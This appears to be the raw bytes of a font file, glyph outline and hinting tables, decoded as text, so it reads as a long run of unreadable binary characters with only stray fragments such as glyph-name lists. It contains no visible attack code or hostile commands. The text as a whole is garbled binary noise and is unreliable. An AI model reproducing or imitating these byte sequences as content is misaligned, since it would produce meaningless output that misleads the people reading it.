�����<�99991/��2��2�0! )!!!";�������C=��.���{\[|4��7��8������nͲ��ɮ����{ )5o@1("!% !g�y3g�-%g�r6*0T!*R(6�<������991�2�<�2��2���999990@��� �!�"�(�)]!3267#"&'#"32>32'54&#"4&#"326��>c_<x<1|Ub�/+�d����c|)�\���3>>2�:MN;;NM:ߐ�;:�,*JJMG8;;B<A��T#t]_~��������l'�v5��#�m'v�U����0��&�~(5����0{&��(U����k&5��u��#f&Uhf�����Vl'�v6�����+m&v�V�����Vk'�u6�����+f&gV����oV�&�6����o+{&�V�����Vk&6�u�����+f&Vh��Z�ow�&�7��o�o1�'��W��Zww&7����
	+1��o��&W�l1K�
SK�QZX�@8Y1@?]0Zw�*@pd	
�<��<��1/��2�<�20)#53!!!3#����������������o1�A@ 	
��
�
�<<��<<��2991/��<��2�<�2990!!3#;#"'&=#535!5!�����$%U�YY���������K !�PQڶ���>��j��fm'�u8�-
#+@O@
]1�����%9&yX�*
 +1��j��fN&�8�+@	O@/ ]1@]0�����%&�X�+@/ ]1��j��fk&8������%F&X���j��fm&8wR
@]0�����%&Xw��j��fk&8������=f&X���j�_f�&8x������o�`&Xxb���r'�|:�+1���m&gZ�+1���r'�|<�+1��;�X�m&g\�+@]1���k&<�u(�+@po`_PO@?0/ ]1��s�l'�v=���9m&v�]��s�k&=�2���91&]���s�k&=�u���9f&]h�;*@��	t�	
�<��991/���90)!5!546;#"�������B/�Nʜ�0A��w >32#"&'!#535!!!&"2�6�Z���e�.�܊�$*���l�nn��]]�����ba���zz���D�������(?@$h
	hdh
�	!$'+���9�2����91/�����9032654&#3264&#%!2)"#546r-�qv�--p_an�������������B1���F`wyjF��P�S뽼��
İ���/B;ʜ���{�P���w"'!!!632
&"2��\���l��lh�Ql�nn�æ�~��������D�����+��%3264&+'3 !�y�uu�y�٢�n5���b�b�R�������-���&"2>32#"&'!'l�nn���6�Z���e�.�ܖ��D������]]�����ba�������9�/@!�<��1@
�op	�opn	r�������0>3 !"&'3254#"�D�U.>���U�FL�L����L�L�$$�r�����r$$HFA��AF����k %27# %6326;#"&#"�������E�0-X�a\1)����!��H�x#�@��7.�8�����"���#%27# !2676;#"&#"��������&HZ�y'_.#���K3�3�s��V89�Vl�7+���rU���?��u������"0#547676; !#26&�0K��nB�����'����&4M�Fm���t�s���?��}��#";! $545676?6%3!jĈvq��e�����H+��e�jyw`��+��
	�Q2�[���w"7632!5!!526&"*��hlʳl���\��l�nn�4����������D�a�=n{%/%#"'&'&'532?654#"32%26&#"��~}�cTy
`&ZQh:#������?��ixxijxx5?��NM�",f==���K��J������J�+@
����21@p
pdp�/�����0!!!!!J�^{��?���+�B\��u�=@!	!'�����991@
p	p
nppr��������9905!54&#">3 ! %3267\�nxL�LF�U	��������9iad_�_��AFH$$�x�����x�ٯ���}��L�(>@	!!&)�������1@
�	
pn)p�)� p#r)������9����0.54$32.#";#"3267# $546ō��\�gg�Tnyyn�����xx�^d�q����%����!��(*]SOW��}s^o1/��$&�٢�l�Xe�!!!+5276=!e���SZ�Vh)%C�����}+�dl�72�}-[�Xv!!#!532765!5!546;#&X��T\���c()������o�b��cl�78�T�Nʜ�&���k(%27#5!# %632676;#"'&# �]*�̬���@��<<

Z�a\1)}����.�"��T��s�Cl�7.�R��:�dO ����
'!	!%3254h��rAC�r�����������%���v��
]���u~�����*'&'&'&#"#3>32?67653�hb�Y�DG?@$$��xUAA
X+1�9���y}�V*4GF}���]fij���
4
T^�x�h�0!!!#"'&���y��&&f���ln�����.-��vx�%�!!3#!!!#53�y���)��)������	�������!!!676&�|������'����@�MD6$��w�����G�q3�=
��476;#"3!	!!�[Z�y'b+)`c�X�����d��A�ml�75���}�^�B`�T�ZF3+;!"&=#53!5!���
Rb��Ѷ����N�^�n��^�B��P�!!''7!g�����k�d�)N�UT���E���W�R����%#"&326532653#5"&#!fJ�o�&d(�(d&��n�ppGD�<�}TV{D��{VT}D�+tBMQ�V��!+532765!!!�	�T�0<;+<���^��Z4�K����=�+=����V/{!4&#"!!>32/��ENO[��#�j���Tzi�~�`�]f�\��u�  &5%63 &'&#"!3276h��n-]O`	��I|:3U�-
��Q	)4qr4(���tx�x����p��OD�2P���_xx]�����'���2���	����'��R����� &5%6327!#327&#"���d(ECO�u]�rx�SU+Cg//g�&���q���+p������i5x
y�h�V�{327!##""327&훀�꓌���ixxi,<< =|e���r�П�����]]��3264&#"#5476763! !#!q�uu����0K�/5������Jb�b'&4M�Fm�����Vw$&"2"'!#776;#"3632Rl�nn�
�k��
QZ�y'_.#\���Q�D�������al�7+�����Wy*����!&5&+!!3 3264&#',!0���Ok^��'� �����yihz�	  _��y+������暶
�i_�^���V�(03267# $546?>54&#">32ّLPxml�vh�o����Srk`�_e�g���7eCYcRT��45���B01Q>PVFC ./�˞����+{'>323267#"&546?654&#"�Y�_�ꚨQ�Kjg^�am�e�㕠T�dbX�Q=����&"<89<:7�##����&2P8954��bx��;�Xv&(;#"&5# %53232#%&'&'32'3@��䨇��.2�\K
�t8��G(`@iHs��@��
lY���265L�o�X1� !!;#+532767&'&5!5!���IU�UZ�y'b+"�PY�������KA�+�fl�7,eHQ��>w�"#5476762'!!�,�0!Z{i0���!H
"M�AM���-�o147676;#"!!;#"&5!5�[R�y'b+)��IU����`�mb	�75g��KA���Z�Vw�!!!!;#"&����Tb'~ҭ����V�l������'���8�������'��X�hZw�##"47#5!32654&'!w�xl�����lx��QNpgfqPR��m����n8�m��O����֦�MuR�'53!"'&5!276%��xl����iB'&&f�-�H�9m��ȷ��n���.-�X��!!776&���S.a�)��=?51�J��L����@\M��X�`	+5326?!76&���k��wZT+�u%�p[RS�4;^0"�����=o<A�)_;;&	�#O9s��!3!!!5#53!�������\�U�w�����&���4`!3!!!57#5!!����M�i�n��`�������

����"# '&5!327654'&+5!!������>aEb�)�"'�t���o�NkIQ���m?t��k9)���q�o	dn
���� %2765!! &54767675!!# ��J1>�����6n GOoN��o��t��׊<�N5J߀tPc�fq!	����ϋ.n�Hc`!#"32767# '&54767675!!���KK��]``afhhg�ڙ�GMqN��y����45fcj6��%tsޏfq!	�����VI`2327670#"'&5476%767654'&+!5!oNt\Y�<j #32dnkkegqj��~[N<e$/2����"0H��CA(0+�
KJ��C:$
&-%��s'�$!!5?#5!7>54&#">323+�u�L�m�T;KByoO�kk�^�;H
u�5H����t�AV�Adm?<')ݿX�^�H
����"#!!!2! '&5!32654'&+D����t�KQG�������>OJo��KK�f�O����@tf��stt��_95jcf54n�Hc` 2!"'&'32654'&+!!l�xiGG����ghhf_�[��KK��Y��0,fg��st%)58jcf54v�5���?�%#"'&'327654'&+#5;5!3��[�w�٣IIDFFHH�Y43N�T��B�61^��ׅ�#*+rB`GLr!¦��Q�Vr{!!6763254'&#"���;LL\��DP��22nN����
�o%,p��\�N�qBA����!!����+�����'����I��!!!!!!!5!5!5!���f��f���f��f������:�����������!�k&$�u��^��Tf&Dh���%k&,�u����f&�h��\��uk&2�u��b��of&Rh��j��fk&8�u�����%f&Xh��j��f�'��&8j�����%O'q;���j��f&8'��������%'�����j��f&8'��������%'�����j��f&8'��������%'�����\��}{���!��'�'j�$��^��TO'q;���!��&��&$j���^��TO&D&�q;���N'��������&����u��jk'�yu*��b�XHf&h�J��u�k'�u.����k'�uN��\�_u�&x��2��b�_o{&x��R��\�_uN&����b�_o&����
���k'�uy��n�Hcf&h8����X�k&h���u��jk'�yu*��b�XHf&v�J����333327653#"5##��8E�Ν�����9�RJ�%2:8}������0q�h��wXk'�u1���/h&��Q���k'��u������f&v��������k&��u�����g&����!�k&$���^��Tf&D���!�k&$���^��TF&D���oJk&(���\��}f&H�'���Jk&(���\��}F&H�'��o%k&,�����f&�����%k&,�����F&����\��uk&2���b��of&R���\��uk&2���b��oF&R���=�k&5�����f&U�d����k&5����#F&U�d��j��fk&8������%f&X���j��fk&8������%F&X�����V�&�6����+{&�V��Z�w�&�7��o�1�&�gW6�R��2>54.#"57>54.#"632]��X����L���qKF_38@��Qv;!2QP(����v�zS"�$�yh���v@.5NSk7@])U�_!OBN-6O'��8Xqj1��n�Oc{05>54&#"57>54.#"5632EUx9�E�|�fCxK48��Kj5.IG$���g�hF��IVK&�h��%+?DV-JVE�MB5@!,@ ~υ*CZ\0q����Hk'�u+���/k'�uKj�Ve�!4&#"!!>32e��^jm;>��'%�~�������oKN��4����t�%-%724#"'632#"'#67&'#"32!26&"�-h*4�X|��u+�D=$>L��׵<0$��DxEEx��
��
yaGyl$>40/-������D�s�X��!!#+532767!5!��L�SZ�y'b+"���w��#���dl�7,d����X9`!!#+532767!5!���MSZ�y'b+"��N��`�`��dl�7,d����!�k&$���^��T1&D�����oJ�&(�2��\�o}{&H�2��\��u�'�'j�2��b��oO'q;���\��u�&2'�j��b��oO'q;���\��uk&2���b��o1&R���\��u�&��'j�2��b��oO'q;����N&�<��;�X�&�\1�t� %724#"7632#"'#67&'&5!5!�-h*4�BX|��u*��J[��N)������
y1BXl�}��7&%�t�{/%724#"7632#"'#67&'&=4'&#"!!67632�$R!)�$Fd{�]!u	~;I?#��#0T���`j��
y1BXl��+5GQt�`l3!3��ߨo�t1�$%724#"'7632#"'#67&'&5!5!!!!V$S!*�2%Fc{�^"t	~;I��%����^�j��
y1BXl���>�����XR`
,@	
�
���	����991����990%#!53265!5!R����bR��N+���n�T����-26&"&"2>32#"&'#5#"323�K�MM��K�MM��%e?����Gi �!hG����?d&�����D��D������]]�����ba��ab40]]S�J�{-&"226&"#"3253>32#"&'#�K�MM��DK�MM��&d?����Gi �!hG����?e%��D����������D��]]04ba��ab�����]]�������!	!!#'#7'7'3'�i<ʢ����\��BC-Z!,UK2bs{��s�[�q^��??y?�R�������(	&#"# ''&5!27&'3267�}��jF�U�ן���:>.UN$!7����R�L�L�����_$$��r1��y�Ms�~�"&�AF����''7&5!27&'3267#"'&#"���?&ZS j��&*�=M�U�BJ�b�yB

��uw���9~y��!��Z9:��++~�~����
!3#!!#5(��v�b�����������!'!!7#7#�٢���/�`4��TTb�_r�Bs�I�1��\w��+{1.#"#"';# /&'32654&/.54632�Q�Xbd�T����}<����肰
�a�^gjK�Q����_�=�4598P2&�����Pۭ�s7:<98<"&������9`!;# /&#5!��j3-�<����肰AiN��`�);�Pۭ�V����$"#"#5476767637$!!!264'&#�N+�0!K�0D�������Vpz==p�$0
"M�B?�~���m�66��'!2)#533264&#32654&+3}���������}}�p_an�čqv���׽���
İ��R����P�S�ff`wyjg�����53!!!3#! '&)265U'�'VVvy��zw�Rr�r�������ڇ���&=pp9��	!!!i����c�c���!�+��!! !&5&+!#533264&#�k ���,!0���Ok�ٯ�'Lyihz��暶	  _��y+���N���i_�^�{.#"!!!#53!>320�M]�&	z����cc%+�w<s4+,,A>&6�J���`in��d{
,27654'&#"!67632!#32767# &�@B.,Nt@@��"6RTd�ր~���44dhccj`�p���P**fL--XW�q}J((ʵ�^]1G%$:�(&�x��Y{5!!5#"763226&"5$��/JKe��lk�ZHG��l�nn������a114��/.������D�x��Y{%!!67632#"'&&"2���$/KJe��kl�ZGHbl�nn���_�a11���䘘/.OD��������w$9@h	hr�!�t2!0%��22�99��1/��������04&#"326>32#"&'!463!#"Rl__nn__l�h6�Z���e�.�ܵ�<�bS-�������6]]�����ba�@���n����)}/@7�<��1@
�yh	�yh�	r�������0>3 !"&'32654&#"�J�b$���Z�S@�R����U�B'++�����*,7;����9:��s/}-%32'&#"763!"'"''47&'&76!2&'&#"�96��S�g���f�Q=���ZSTS@MLR���9K��r]G&A���,��7���M��M$26&"7!;#"'&=#"'&32nV�XX��"-5a�HH%<;Q�dbɺG99����D�:S�t�n�lk�a11��0/.F��O#26&"%!5#"32776;#"mV�XX���%xQ��˽H99+EH�a4����D�����ab40/.]gl�75X��y{ 703267!57632!"&&'&#"�k�e���	��������vԒ�<<ep:97
?:��w�����喗*�q=><;\��}{?@.	)�����991@	�
yh
���hr��������9905!5.#">3 #"%3267\���e�kf�v)����'spexw
�x:?
**�����'�twzq���{	332767#"'&'&'&#"67632?;#"'&5_��-HN10���w@A;hUYY^`___���5!Hq;�?;:n,Q`��ƟVv�)?!"D0����7�o[����t(<@!��	�
h	�)#�"h&r)"5)�������1����������90467.54632.#";#"3267#"$�������jvyi�;vvsh��y���d�v��n�8y�d���"B6,@�_B=T/�$�f��k{(\@!� yh#��)
�	y
hr)& 
)�������1����9��0�	KTX�)@))��848Y�%%]!"&'532654&+532654&#"5>32)�����b�oX�rq��2�uh��z��y�]��=��p��"#(YO5�6E1>���W�0���{A#"&'5327654'&+5327654'&#"567632?;#"'&5'Cr?@wu�J�TCNOUH'NI/&�XK1?@&[R>fZPOE�i>��	 !HZ<�0=JJ�p\[�"TO �E.)	�O.N���7�o[��$l��ey. !27654'&+5327654'&%672'$���*F(5:&J��@*?;9��Y��on:8��<:nm��Y�������%?H �"J7#"�-VW�bLHIGg�VV=�L���X`%#!53265!5!!5!3#R����bR����N��+���n������V�
;"32765#"'&54763!3676;#"#!"'&'32765�Y1200\Z12;HG]�lkkl�'RW|�*����TONOKHHI�ABwRR��OPRR�:�Gb..���⡠�rv�..�����!6MM�|�VU`*%#"'&54763)!"'&'3265"3265.=�_�mnnm�.'����VPQQMJJJ���[f11_[f�b\���⡠����!6�����OP��:�7_%%#"'&7632&'&#"32767'#5!7]edk򍍐��`YXOQPQP�QPMN�'"!��e2����(�1YX��YY��b�aoo
'	!!3254��g�>
��C��C�����N���}��V�#��L���~||�b��o`%254'!!! 54f-,,���C��C��������W;HJ9S���L��������J*^!32765!!#"'&�#"#NP--#���j�QQ��Vy44GF}���\]fij�*!4'&#"!476;#">32*��#"NP--��[Z�y'dR�j�QQ�)�y44GF}�@�kl�n��]fij��V*(%4'&#"!476;#">32+5326#"NP--��[Z�y'dR�j�QQSZ�y'dR)�y44GF}�@�kl�n��]fij�)�bl�njh!!!3#!!5!5!5!!�f���D��l�l�����ܐ����������@`!5!#"'&5���D&&f���mn�l�.-�vx�jh`!!5!!5!�l�l����b�����X��z*#"';!"'&=&#"567632!5!3276xJHHN6>(*b���Z\N�JNHJR��NG=FDF+�<�77�ll�u:?�=
�le"&#";&;!"&=#&'&!5!!�;2`3Rb��Ѷ{��@'��N
028?�p�n��o��)b�̜r�D^%!5!;!"'&���N*(b���\Z��77�ll�H�.	!;#"&5#5!!#"'&'32654'&+V$�[=J�휉�����l;S<5ss�MNNMG�Egm88n~���N�n��`�L�9	!qf��st%)58jcf54P���`"%#"'&326532653#5"'&!!fJ�78�&d(�(d&��77�88pGDdd<w�1}TV{�1{VT}��tB&')(P�V�`"%#"'&326532653#"'&!!fJ�78�&d(�(d&��77�88pGDdd<w�1}TV{�1{VT}��B&')(P�V�{367632+5327654'&#"#4'&#"#367632�!32K�77GJ�c R""13�32��67DDp�F#"dd����dl�77��~)*+-y�1�y-+*)~�1`tD$'R@�F�{'!54'&'&'&#"+5326=!67632���
&\55ZY�zRB'CKK[����Vo��77#WV�����yv�\��p�b./�D�F�{"4&'&#"!!67632;#"'&5�&'U<5��'CKLZ�RSUu�Y_�-HWK���`�b./wx�j�/.�v��xY`	!!!!x�I�}��`�u�����ub��o{
!7632#"'"!3&'&!#3276b�������zi<.�%.<n�|+$<ij<$ �����➟�]GqqG]�)Q7]]7K���a	!#";!!!!!!"#"322nKut::uK/;����%������
����UV������$"R�-'"3276=3376#"'&'#"'&'&7! -��
�
()NN�YD@A@]�MN,~nd6a����N9[jl`-SPvog���D@��ED�~��w\�V�'/7675!5)!!)5!5&'%676'&�s���)%)�׭s��s�)����)�s #LLH#LL �r ���� r���r ��� rtr"\��\"[��"\J\"���`32767>5!!5#"'&'�0�L^EE&$��,XZv<::45,,! >&ln���`45���327676765!!5#"'&'�0�L^EE&
$��,XZv<::45,,! >#9/u���`45M�V�`%327676765!;#"'&'#=#"'&'M0A@M]FE&	
%()d'y�ZS+YYw<:945,! >&66n��\67�lb�)�`45��V{.#"!!676320�N\FF&��&*ZXx<994+,,! >&ln�R
�`45��V{!.#";#"'&5!676320�N\FF&(*f&x�Z`&*ZXx<994+,,! >&ln�%�77�lp�7�`45�J`35!476;#"!�XZ���T%%���QP�! K����J`35!4'&+532!�~$$V�XZ�K !�PQ���hh`+!&'&'&+!! 32?674'&'&'&#�*9
���4'$��lwxHF�X>W)1+B-�mW�F`ML�tDC_�(:% A�`
"#327654'&'32767!#!!�OO['(('�%K-+%�k�322?s99nn�f�� HI  �G��a/0!GHo�KJ`��V({8&'&#"#"';#"'&532654'&/.54632�QWXXb22�T�KJrq�?A)d'y�Z[ade^gj&%�Q����_^_=�48P2&TU��VWS)7�lk�7<98"&����[�Xv!#!53276546;#"T\���c()����C�cl�78��ʜ�@[�Xv!##!53265!5!!5!546;#"3R[���bR����)����B/���J�bl�n����Nʜ�0A���[�Xv!&'&+532;!"'&�B���)(c���[T�@��}�87�lc;�Xv&(%;++5$!346;#""#"6763��8t�
K\�2��4�����@��5Hi@`(����Yl
ʜ�@��L56T���J`!5!4'&+532!!��~$$V�XZ���>�K !�PQ������VJ�!!;#"'&5!5!����%%T�ZX������DK !�PQ���>X��x`!5#"&=#53!!!3)32760���h��RR&:&H����DNP,%��J�]f��/����yhF;U��|`&327654'&'!##"54767#5!&@+99^_89+@��LE8�����6>O��ELQsk�XWWX�ksTH�;�l����:��pA�T��}`$#'&55#53!?27654'&/�A;0}}�o�[Z��%"%`D=/!D�;�l����yx�:y��Ʃ4aX�ksTH�P�`3!!Pdid����`��j���`!###!!���ӄ���������`��:�676;#"!!;RSv�wZ**+������ٞIH�o<���)D�`!!!DO��Q�f��`��Y�x�(�.�V�`!!;#"'&'!5!F���N(*d&x�ZT��N��`�`��77�lb���v��[`%3276'&!367632+'47!5!R'& /�6���2]N�� ���N���9G��`v[���0@78��n�Hc`!	!5!!"'&'32654'&+7����y�NqMG����ghhfa``]��KK������9	!qf��st%)6jcf54e�Hl`.&'&23676	!5!5#7#$!2&'&+�+���
c4'������x�MqNF�����et�
;K��}A	U4X���9	!qf��s.(#-[H*4�+32765&'&#"67636!XT�N33Y�HHFFDII�ؽw�[����rLG`Br+*#Ӆ��^��+!&'&54762&'&#"3y���[�w�أIIDFFHH�Y33N�� �^��ׅ�#��+rB`GLr�+!'"'&'327674'&#XB�[�w�أIIDFFHH�Y33N�3�^��ׅ�#*+rB`GLr��V+#%32767#'&54762&'&#"�3Y�HHFFDII�ؽww�أIIDFFHH�Y4�`Br+��#Ӆ�aׅ�#��+rC_7����
*32654&#"47632 '&47632"'&EWUyx��vyUW���䦥���.���#"1<"Db"#6�^^����aa�������������5'''/-6L&&wZ` ,@�
 	h�h 	!��2����1/�����9032654&#32654&#%!2#!��^^^^��HNLJ���SNdn����3332��0203፛Rs�j��l��ey.% !";#""'&54767&'&547676H	��F(5:&J��@*?;9?Y��on:8��<:nm��Y-�kl%?H �"J7#"�-VW�bLHIGg�VV=���t=�+%#"'&7632676;#".#"32767'#5!�^ddk򍎐��VZ�y'dRQ�P�QQ��'!"��e2�����el�n���10YX�����xY`!!!!!!xFUF������`�k����1^�Wt�$!!3+5$)3!5!&#"?676��%�8tFZҽ��4��N���i]kb)+V���Sk
��]L@6h�Vh`!!	!7!h�������@D4d$�V'������`���`!!!�D��`���F�VM'%#"325#476;#"!26&"�*;9H��ɶR<;&IH�a6���,+�XX�+�[1/0411a��ml�76e��}��\\�D�\�?&327654'&#"67632;#!5+53lT�N34Y�HHFFDII�ټw�[� �����rLG`Br+*#҅��^p¾���?&5&'&547632&'&#";3+!5#53#�[�w�٣IIDFFHH�Y43N�T�������p^��ׅ�#��+rB`GLr��¾��3���	%(26&"73!!!+5#"'&7632� !rBBr!կ��a���,-=s?@A@w6++�R��\\�D�\�S�L�`ۦa11����/.��~��@�4>!#5#"76323!#"'&'32654'&+26&"���Z<s�A@x6++ ��X.D.+\\�>>?=;9:7SX--Xe��! rBBr ���{�ab4��/.]S�L�9	!qf��st%)6jcf54�\\�D�\���9<%3276'&26&"73!367632+'47!+5#"'&7632��! rBBr ԯ���
8/y�z���-,=s@?@Aw6++�R�9Gi��\\�D�\�S�L�`v[���0@78�a11����/.��~�B����/I&'&#"#"'&'#"'&5#533367632532654'&/&'&547#3b1455;�2`-,DD�<@?@��56����(G998�U:=<8>@R0e/.�3=�48H:'SU��VW"(PQ��>�½K3Z��H7<98"%RQ�0*��K !��XH&.35476;#"+532767#"'&5#53#3��23���(17~��;��56����3���N�NN�0Ab�+�bl�7.bPQ��>�C���K !Q�s��3<G367632&'&#"763#"'"''47&'&'#"'&5#5332'&#"#;&54��Y�6222'.-2U]>e��=x1$��65���"!XN2���3-����)#�,��7���G��r]G&A#(�PQ��>�J9K,��K !���J�X�3;>32+5327654'&"####535476;#"�ϮZ?`0176~H<^�ϰ��32���(�b�]fik�T�kl�77�z45GG~����N�NN�04���?&'&#"#"'&'#"&5#5!;5327654'&/&'&54632o0545;�2`--DD�=?@A�}n�b;�:x9> Q1d/.�999=�48H:'SU��VW#)�`��77H7:98"%RQ���.���#5!;!5!!!5#"&�b:�a����a�ٯ~n�`��77���`��9� 333##333##9�xy�yy޼�yx���xy�yy޼�yx�s�P��T�����Q �P��T�����Q�� %#!#!#!#!�������������>)��>)8�J�"332765!!#"'&54'&+5328""NO/,$��LJj�PR**d&x�ZV^�Vy44GG|���\]33ij���:7�lcQ�V�)3327653;#"'&=#"'&54'&+532�8>@$$�BPa�JHxUA@#!Pa�HE^�VyhGF}��˄n�lk�}]fij���:7�leI��#4&#"#367632��,23��00De443�i~D:'(F��h��5;<I��#4&#"#476;#"67632��,23�;9�M@400Deh3�i~D:'(F��a�<=~>JL4v�jK�+532765#5!5#53Kt�ʖ?�z��o�x~J�~r�U�|&'&#"#367632|)*1>*/��99L, $"b
!<>��tb6	U�|32767>53#5#"'&'U)*1>*/��99L, $"J
!<>!��b6	��"32767>53#;#"'&'=#"&'))2;-,�@N�:5rM&J!I
#<>!��8~=7{J6:��
"#327654'&'3276?3#!322:l0]�j!  (I%$FG������()|)��7((?Y**t���333##ޜUN�LW���WV��=���F����+5326?33�&45L�L96��Ť��YY((}">!b�i����tf�����L#����L$����������2764'&#52#�7&&'&6vTSSTvt'&l&'�ST�TS���0"'&4763"�vTSSTv6&'&&t�ST�TS�'&l&'H��327654'&#"567632#�6}1!!9g..--,/.i�yLY;m�8@+'6%@�

vJy�Q5��H��#&'&547632&'&#"3�m;YLy�i./,--..g9!!1}8�d5Q�yJv

�@%6'+@���f5@
���91��290K�	TK�T[X���@878Y3#'#����Ʋf�������f5@
���91�<�90K�	TK�T[X���@878Y	373���Dz��x��	��@��1@��0#ǽ��+��-X��	�[��@��1@��0#ǽ���+��-�j��&���)��^�0Cb����s����0v�����6`!!h����e�|�����6`!h���|���&�`c�L���&�`d�L.��j533##5#5�����������J�!5!J�>�մ���F����;�1�L��R@��	]]����1����0K�	TK�T[X���@878YK�TX���@878Y4632#"&732654&#"L�vw��wv��M67MN66M�v��vv��v7LM66MM��oj@
�]
�����1/��90!33267#"&546-�5%=2&M(6_)r|7GF'1�\V5m�9�@$

	��

����99991���9999990K�	TK�T[X���@878YK�
TK�T[X���@878Y@M





&]'&'&#"#4632326=3#"&j7	+$%�g^$H)>%$'�g^$BT%>;��+?:����)�=f�����2%7;!"'&7��r�&&i��NB��s���87�o[����
5&73733254؜�������}~��zto��ق���2���S�FEE['��#5!;#"'&�z4?�ʆ:;��~��J>~=<J��..#"#"'&'532654'&/&'&547632V4p8?@�6d20IH�ADDE>�<BDT4m01KK�D5<�� "'1/Q`10
	� " 
-.LZ32	��#'#37��ۍ��	��wx�����G-��H��#&'&547632&'&#"3�m;YLy�i./,--..g9!!1}8�d5Q�yJv

�@%6'+@��#!5�����t�#!5!������t��4��#!5!������th�h��#!5!������t4����)5!3��S������9(����
D��������fC����
fv�����fg���9y-X����1��0!!-w�����M�=�F
@
�]]����1�<��0332673#"&�dSSc�����FEKJF����;�1���1��0�00]!!���1���-;�1j��K�#567654'&"#"5632Jh�>.8(.Fhb�[sTr..>
����L��w)�=f4@����@o]�991�<�20�55]3#3#V����f��x�������fh
���#Ⱦ��D�������'�������f###�£��׮��f��x��x���	'v�u�F>32#."�����c�d����FJKE��2�@��1��0!3����2����!525#���xx�����z����#3$5�zy����z����;f!#!��f����N����'C�����N����'v�y��o���#5353#&������������M�33##ٽ�������SC~n!5!#���+�������1�532654&'3#"&�CI'1�\V5mR�2&;1'M(7^)s{6��
��"&463"3�\\%22%�
���2%&2V����53533W���������;��f�N#5!##�+�������`����#53533##�������������S�G~�5!S+�G��/�X/�
%+53276=!/[Z�y'b+)#+�ml�75�}��V��
75!;#"'&�#)+b'y�Z[)}}�57�lm�2�(���1��0�00]!!����-�2��(@
����1�<�203#%3#���u�������
D�������1�		����0#"&546324&#"326D]\\]�3%%22%%3��\��\\\$32%&23t��:@��1��0!#�����o�o3!@	

�	]�����1/��90!#"&'532654&'�97{0e5-T$:A*.>j/_[

�.(R<����o?x�
�j�&#ǽ�D�-����&#5##��������v��@#"'#"'&'3276732767y0@k>=k�.�MP�MG��@FF�0:���m��@	��91�<�90	373���Dz��x����@	��91��2903#'#����Ʋm�������>
@
�]]����1�<��0332673#"&�dSSc������EKJF������@#."#>32��d�c������EKJF�����7�@$

	��

����99991���9999990@M





&]'&'&#"#4632326=3#"&j7	+$%�g^$H)>%$'�g^$B�R%>;��+?:��-�j��&���1��0!!-w��ڼ�����B�����"��X�y+a���x5!������x5!��������'���uw�y�����'��)�?r�s��
��052654&#052�%22%\�
�2&%2���-����n3353.�����v����J����&!5#�������=�n����@67632632#&'"#&'"�y0@k=>k�.�NO�NF��@FF�0:���ma�p�'7'77h�����������)���������������!#532654'&/&'&5463#"�$
��9?,
��;? �'RRz.!RSz#��:�&==����������;�1v����$#&'& #&%6i�y�
�����
�z�3O�G$%%$G�N(�tf3�A�nt���V�H%#�A�nH��wX�W���C`w�V��	#"=3;�X�3�V���h�����)}������%}&Fy��������)}&�y�l����s��'��m����-����
fv��-;
�&j�������f'������y����Jf'������yHf'�������%f'������U��uf'�������f'�;�����wf'�����
�&���!��$��}��%���X�R!��)!��q�i0���/�=���J�(��s��=���H�+\��u�3"326&! ! �qhhqrhh��		�����������\�����
���x�����x����%�,��u��.!��)!!H���i�����+���V{�0��wX�1�H�)!!!!!H�A��A��!������\��u�2���H�^���{�3bx�	!!	!!�o�>��n������������Zw�7����<\u�&.67654'&'3!35&'&547675#!�QQ�[��\�w��w�]��\�w�b#QQUk�?
HJl��lKF��FKl��lJH���=�?�kU����;P��3!35&'&!!6765!�w��w�b�'@'@'�a����+��~[����#��#��[����ą+Zw�F@$��
�

 
OON
N ��������9991/<�2��99073&5323!>54&#"!Z�xl��lx�)QNpgfqPR�'�m�8n���ȿ��m�O����֦�M�����%k'�u����k'�u���6���f&�������f&�����V/f&���
f&���L��&�6���y(7!;#"'&''&'&7676'&'"7A$�DRf�Q1*5ʵjpq���$�A;::6GE�l�����T
=$,��9x���[[��RMB��Vo!%!! 5456'&�����E,��r��bb����E�����I��8	����
�	��8�V�`!!&'&+532�w�)�n���*&*Pn]o(�v���V��H �JYb��o!%/&547632&'&'&#"32#"76"326&G�~}�cTy
`&ZQh:#�������?;ixxijxx)?��NM�",f����=�K������J������t��V##52764'&# !5!�3�T][T�F!;���)l����MX��[T�L&�D����V/{!4&#"!!>32/��ENO[��#�j���Tzi�~�`�]f�a��o(&'&"2767  G-<�<--9�9-�$���w�p��p��v��v��R����Q��`;#"'&5#5�%%T:N�ZX�`�
J!!�PN������`yP�	!!'&'&+532�������)''^p��_o�<��q-wJ�JX����T�`w/x`67676'&'!!!@|8M6P3E.*��{����2'�Z|u4@�bY|rNį�t`��V#$! %$47#5! #52764'&�s���l���3�S][T�F!�0A*�R���	�LX��[T�L&��b��o{R���`#3267#"&'.=!!#5��1F",c7Or���`��?�
"  VX#s�����Vw{
 #"&'!&"2����Z�6���l�nn�{�����]^���S�D�������V*}$%#52764'&# '&!2.#"�R^\S�F";��w�&Z�S@�R��M?�LX��[T�L&�9*,��7;���WGb���`#"476)327654'&�������z(��C$<xik;<�>����=����8\���]^��r'�J`!!;#"'&5!���%%T:N�ZX��`��K !�PN�L�`!"'&5#5!327676'&'!��ZX��J9g> L#7&$��PN��
JB�7�g��LG����ة�A�V�j!2!$76676'&&�`r�k��js��+*�Z6�j{���4�V�@�Bs��SV}�d���xa�M>H�V�`'!&'&+532!;#"'&�C��z�#%&OudgRPC�)���#%&PvgdSr��6�L�J<�����mL�J>E�V�`%6!!$!!�n$�n��n$n$�d
���3�V�@���O@���`3676!#"'#"'&7!2�H
WlrU��11��UslW
H��86*��CqS��Sq�����6����1&j��L�1&j��b��of&
���L�f&���@���f&�p��$	# 76'&!"'&7607676�"B
ws6Fq���n	���r����96��$(�-k<`z�������t��
�����~x��i��m$	$6'&'&'&%6#"'&3676g2DT�G�j���Ј�		���۞�Q;^{/G�/z�
�xG�CcX�����}��վU�jNk�"��!4''&676'&�\+*��*SJtxL�Gk�eJ�Z vV�������"40�z7/c�T���$�f'�O��"�k&�u:�V�'67!!&'&4%67654'&�W�$�d��T��ܢe��)FF6$&EE�j#��U m����i$�a� m��E+_�q�!v��+\�u�!�`#5!#'$'%!76''iK�J#
�����
9$G@F=#����-���������t��4��`/'5&'&7'&7676'&#"5677632y&͟�2�!����/6�5F\8R~� ����0=�2C\��gO\� �20��R[�Fk{Zs��B�="�20BPZ�Pa|bl��\�Vu�"326&!&'&! hqhhqrhh!�ܛ\�		�Y������
